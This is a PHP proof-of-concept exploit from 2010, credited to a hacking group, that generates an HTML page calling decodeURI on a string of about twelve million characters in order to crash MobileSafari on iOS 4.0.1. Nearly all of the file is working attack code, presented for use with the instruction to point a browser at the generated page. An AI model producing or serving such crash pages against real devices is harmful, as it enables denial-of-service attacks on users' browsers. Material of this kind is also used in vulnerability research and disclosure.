<?php
# _ ____ __ __ ___
# (_)____ _ __/ __ \/ /_____ ____/ / _/_/ |
# / // __ \ | / / / / / //_/ _ \/ __ / / / / /
# / // / / / |/ / /_/ / ,< / __/ /_/ / / / / /
# /_//_/ /_/|___/\____/_/|_|\___/\__,_/ / /_/_/
# Live by the byte |_/_/
#
# Members:
#
# Pr0T3cT10n
# -=M.o.B.=-
# TheLeader
# Sro
# Debug
#
# Contact: inv0ked.israel@gmail.com
#
# -----------------------------------
# The following code is a proof of concept for a crash vulnerability that exists in 'Apple iPhone MobileSafari'.
# Point your browser to the created file (crash.html) and see what happen ;)
# The vulnerable function is:
# * decodeURI("A X 12000085");
# -----------------------------------
# Exploit Title: Apple iPhone Safari (decodeURI) Remote Crash
# Date: 19/12/2010
# Author: Pr0T3cT10n
# Affected Version: IOS 4.0.1
# Tested on Apple iPhone 3GS, IOS 4.0.1, MobileSafari
# Launch Safari, point your browser to the page and safari will crash.
# ISRAEL, NULLBYTE.ORG.IL
$string = str_repeat('A', 12000085);
$code = "<html>
<head>
<title>Apple iPhone 3 Safari (JavaScript - decodeURI) Remote Crash</title>
</head>
<script type='text/javascript'>
decodeURI('{$string}');
</script>
</html>";
if(file_put_contents("./crash.html", $code)) {
echo("Point your safari mobile browser to `crash.html`.\r\n");
} else {
echo("Cannot create file.\r\n");
}
?>
